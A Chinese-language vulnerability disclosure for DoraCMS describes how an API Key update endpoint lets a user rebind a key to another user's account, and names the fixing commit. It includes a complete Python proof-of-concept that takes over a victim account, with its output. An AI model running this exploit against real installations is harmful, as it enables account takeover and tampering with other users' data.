DoraCMS 漏洞报告

软件名称:DoraCMS

开发者或厂商:doramart

代码仓库:https://github.com/doramart/DoraCMS

1. 改写 API Key 所绑定的 userId 导致接管其他账号

简要描述:普通用户可将自己的 API Key 所绑定的 userId 改成他人,随后以他人身份调用接口。
影响版本:3.0.x ~ 3.1 (commit 70cf0fc)
前置条件:攻击者持有一个账号。
修复:DoraCMS commit ede38eb0

漏洞成因

API Key 更新接口把请求体整体写入数据库,未限制可更新字段。控制器直接把 ctx.request.body 交给服务层:

// server/app/controller/api/apiKey.js:134-147    commit 70cf0fc6dba
  async update() {
    const { ctx } = this;
    const { id } = ctx.params;
    const userId = ctx.requireCurrentUserId();
    const data = ctx.request.body;

    if (!userId) {
      throw RepositoryExceptions.auth.sessionExpired();
    }

    const apiKey = await ctx.service.apiKey.updateApiKey(userId, id, data);

    ctx.helper.renderSuccess(ctx, { data: apiKey });
  }

服务层只校验该 Key 是否属于当前用户,随后把请求体的全部字段拼进更新对象:

// server/app/service/apiKey.js:205-230    commit 70cf0fc6dba
  async updateApiKey(userId, id, data) {
    // 验证API Key存在且属于该用户
    const existingApiKey = await this.detail(userId, id);
    ...
    const updateData = {
      ...data,
      updatedAt: new Date(),
    };

    return await this.repository.update(id, updateData);
  }

请求体中的全部字段都会进入 $set,其中包含 userId。仓储层的更新前处理只校验 name、permissions、ipWhitelist、status 四项的格式,不校验 userId:

// server/app/repository/adapters/mongodb/ApiKeyMongoRepository.js:175-206    commit 70cf0fc6dba
  _customPreprocessForUpdate(data) {
    if (data.name && data.name.length > 100) {
      throw this.exceptions.apiKey.nameTooLong(100);
    }
    if (data.permissions && !Array.isArray(data.permissions)) {
      throw this.exceptions.apiKey.invalidPermissions();
    }
    if (data.ipWhitelist && !Array.isArray(data.ipWhitelist)) {
      throw this.exceptions.apiKey.invalidIpWhitelist();
    }
    if (data.status && !['active', 'disabled'].includes(data.status)) {
      throw this.exceptions.apiKey.invalidStatus(data.status);
    }
    ...
    return data;
  }

因此,攻击者可以提交 userId 字段,将 API Key 绑定到其他用户。此后可通过该 API Key 读写受害者资料、以受害者名义发布和删除内容。

复现环境搭建

实验环境用仓库自带的 Docker compose 部署,MongoDB 模式:

git clone https://github.com/doramart/DoraCMS.git
cd DoraCMS
cat > .env <<'EOF'
COMPOSE_PROFILES=mongodb
DATABASE_TYPE=mongodb
APP_KEYS=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SESSION_SECRET=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
ENCRYPT_KEY=cccccccccccccccccccccccccccccccc
JWT_SECRET=dddddddddddddddddddddddddddddddd
ADMIN_INIT_TOKEN=initme123
EOF
docker compose -p doracms0day --profile mongodb up -d --build

服务启动后,创建两个普通用户,分别作为攻击者和受害者。

复现过程

以攻击者身份登录用户中心,进入 API Key 页面:

点击创建按钮,名称填 demo-key,权限 URL 填 /api/v1/users/me,方法为 GET,创建后得到该 Key 的 key 与 secret:

接下来,把 Key 的 userId 改为受害者 demovictim,再用该 Key 的 secret 做 HMAC-SHA256 签名,以受害者身份读取并修改资料:

import httpx, hmac, hashlib, time, json

BASE = "http://localhost:8080"
client = httpx.Client(base_url=BASE, timeout=20)

attacker_token = client.post(
    "/api/v1/auth/login",
    json={"email": "demoattacker@local.test", "password": "Passw0rd!"},
).json()["data"]["token"]
auth = {"Authorization": "Bearer " + attacker_token}

key_info = client.post(
    "/api/v1/user/api-keys",
    headers=auth,
    json={
        "name": "demo-key",
        "permissions": [
            {"url": "/api/v1/users/me", "method": "GET", "enabled": True},
            {"url": "/api/v1/users/me", "method": "PUT", "enabled": True},
        ],
    },
).json()["data"]

key_id, key, secret = key_info["id"], key_info["key"], key_info["secret"]
print("key:", key)

print("reassign:", client.put(
    f"/api/v1/user/api-keys/{key_id}", headers=auth, json={"userId": "demovictim"}
).status_code)

def call(method, path, body=None):
    payload = json.dumps(body, separators=(",", ":")) if body else "{}"
    ts = str(int(time.time() * 1000))
    sig = hmac.new(secret.encode(), f"{ts}{method}{path}{payload}".encode(), hashlib.sha256).hexdigest()
    return client.request(
        method, path,
        headers={"X-API-Key": key, "X-API-Timestamp": ts, "X-API-Signature": sig,
                 "Content-Type": "application/json"},
        content=payload if method != "GET" else None,
    )

print("read victim:", call("GET", "/api/v1/users/me").status_code)
print("write victim:", call("PUT", "/api/v1/users/me", {"name": "Owned By Attacker"}).status_code)

执行结果:

key: c86c76e3-606f-4952-b66b-80f6d1d3f93c
reassign: 200
read victim: 200
write victim: 200

改写的响应里可以直接看到 userId 已变成受害者:

{"status":200,"data":{"rateLimit":{"requests":100,"period":3600},"_id":"_MVCl4mLCD","id":"_MVCl4mLCD",
 "userId":"demovictim","name":"demo-key","key":"930d22d8-7bb8-4281-9272-b63870b78505",
 "permissions":[{"url":"/api/v1/users/me","method":"GET","enabled":true},...

受害者资料中的昵称随后变为攻击者写入的值:

docker exec -i eggcms-mongodb mongosh -u admin -p admin123 --authenticationDatabase admin doracms3 \
  --eval 'print(db.users.findOne({_id:"demovictim"},{name:1}).name)'
Owned By Attacker